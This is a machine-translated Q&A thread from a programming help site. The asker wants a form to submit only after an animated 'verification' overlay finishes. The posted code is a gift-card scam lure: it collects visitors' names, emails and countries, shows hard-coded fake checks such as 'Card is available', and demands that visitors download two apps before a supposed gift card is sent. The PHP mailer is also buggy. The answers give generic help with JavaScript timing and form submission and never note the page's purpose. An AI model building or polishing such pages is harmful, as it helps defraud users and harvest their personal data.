表单提交后加载css模式

问题描述 投票:0回答:3

我试图为我的代码找到JS和ajax解决方案,但是在用户点击提交按钮然后模态加载并且仅在模态加载之后,我想要它们都没有用,将表单和提交值发送到电子邮件。我尝试了很多次,但是我不能成功,所以如果有人能帮我解决这个问题真的很好。这是我的代码。

$(document).ready(function() {
  $('#questionWrapper .question').first().show(); //show first questionblock

  $("#questionWrapper .answer").click(function(event) {
    event.preventDefault();
    $(this).parent('.question').hide();
    if ($(this).parent().next('.question').length) {
      $(this).parent().next('.question').fadeIn();
    } else {
      startCheck();
    }
  });
});

function startCheck() {

  var overlay = $('.overlay-checker'),
    points = $('.overlay-checker-points > li');

  // Initially, hide all the points so we can show them one by one
  points.hide();

  // Fade in the overlay
  overlay.fadeIn();

  // Loop points.lenght times (so through every point)
  for (i = 0; i < points.length; i++) {
    setTimeout(function() {
      $('.overlay-checker-points').find(':hidden').first().fadeIn();
    }, 1500 * (i + 1));
  }

  // After all items have been faded in, redirect
  setTimeout(function() {

    document.getElementById('overlay-checker').click();
  }, 1500 * points.length + 4000);

}


function toggleDiv(target) {
  $(target).toggle();
}
<?php
/*
From http://www.html-form-guide.com 
This is the simplest emailer one can have in PHP.
If this does not work, then the PHP email configuration is bad!
*/
$msg="";
if(isset($_POST['submit']))
{
    /* ****Important!****
    replace [email protected] below 
    with an email address that belongs to 
    the website where the script is uploaded.
    For example, if you are uploading this script to
    www.my-web-site.com, then an email like
    [email protected] is good.
    */
    $lname=$_POST['name'];
    $email=$_POST['email'];
    $country=$_POST['country'];
    
    

	$from_add = "useremail"; 

	$to_add = "[email protected]"; //<-- put your yahoo/gmail email address here

	$subject = "Form User Submmitted";
	$message = "<html><head>
        <title>Message</title>
    </head>
    <body>
        <p><strong>From:</strong> $name</p>
        <p><strong>Email:</strong> $email</p>
        <p><strong>Country:</strong> $country</p>
                
    </body>
</html>";

mail($to_add, $subject, $message, $headers);
	
	
	$headers = "From: $from_add \r\n";
	$headers .= "Reply-To: $from_add \r\n";
	$headers .= "Return-Path: $from_add\r\n";
	$headers .= "X-Mailer: PHP \r\n";
	$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
	$headers .= "MIME-Version: 1.0\r\n";
	
	
	if(mail($to_add,$subject,$message,$headers)) 
	{
		header('Location: google.com');
	} 
	else 
	{
 	   header('Location: google.uk');
	}
}
?>
      <div id="form-div">
<form class="form" method="post" id="form1" action=refreshform.php>
  
  <p class="name">
    <input name="name" type="text" class="validate[required,custom[onlyLetter],length[0,100]] feedback-input" placeholder="Name" id="name" />
  </p>
  
  <p class="email">
    <input name="email" type="text" class="validate[required,custom[email]] feedback-input" id="email" placeholder="Email" />
  </p>
    
    <p class="country">
    <input name="country" type="text" class="validate[required,custom[onlyLetter],length[0,100]] feedback-input" placeholder="Country" id="country" />
  </p>
    <p class="apps">to ensure your not a bot <strong>you must download 2 FREE Apps</strong> and only after the GiftCard will be Sent.</p>
  
  
  
  
  <div class="answer">
    <input class="submit" name="submit" type="submit" value="Check & Verify" id="blue-button"/>
    <div class="ease"></div>
  </div>
</form>
                
         </center>       
  </div>
	</div> <!--End of questionWrapper .alpha60-->
  </div> <!--End of wrapper-->


  <div class="overlay-checker">
<div class="centerIt">Checking your answers...

  <ul class="overlay-checker-points centerIt">
    <li><img src="img/check.png"> No double registrations found on IP.</li>
    <li><img src="img/check.png"> <span style="color: red; font-size: 28px;">2 </span>Card is available.</li>
    <li><img src="img/check.png"> Congratulations. Please proceed to App Download Verification...</li>
  </ul>

  <div class="terms">Additional T&amp;C may apply.</div>

</div>
  </div>
javascript php css html5
3个回答
0
投票

你可以让你的提交按钮调用JavaScript方法来打开你的模态,然后调用$(“form”)。submit()https://api.jquery.com/submit/


0
投票

您可以尝试在for循环中尝试关闭以下示例,以便您了解如何解决此问题。

1)

for (var i = 0; i <= 3; i++)
{
  setTimeout(function() { console.log(i) }, 1000);
}

结果是4但这应该是0 1 2 3

2)现在只需要关闭

for (var i = 0; i <= 3; i++)
{
  (function(index){
    setTimeout(function() { console.log(index) }, 1000);
  })(i);
}

然后结果是0 1 2 3

谢谢


0
投票

我也尝试了这个,它不起作用

function startCheck() {

var overlay = $('.overlay-checker'),
    points = $('.overlay-checker-points > li');

// Initially, hide all the points so we can show them one by one
points.hide();

// Fade in the overlay
overlay.fadeIn();

// Loop points.lenght times (so through every point)
for (i = 0; i < points.length; i++) {
  setTimeout(function () {
    $('.overlay-checker-points').find(':hidden').first().fadeIn();
  }, 1500 * (i + 1));
}

// After all items have been faded in, redirect
setTimeout(function () {
          $('.overlay-checker').fadeOut('500', function() {
$("form1").submit();   
});
    
    
}, 1500 * points.length + 2000);

}
© www.soinside.com 2019 - 2024. All rights reserved.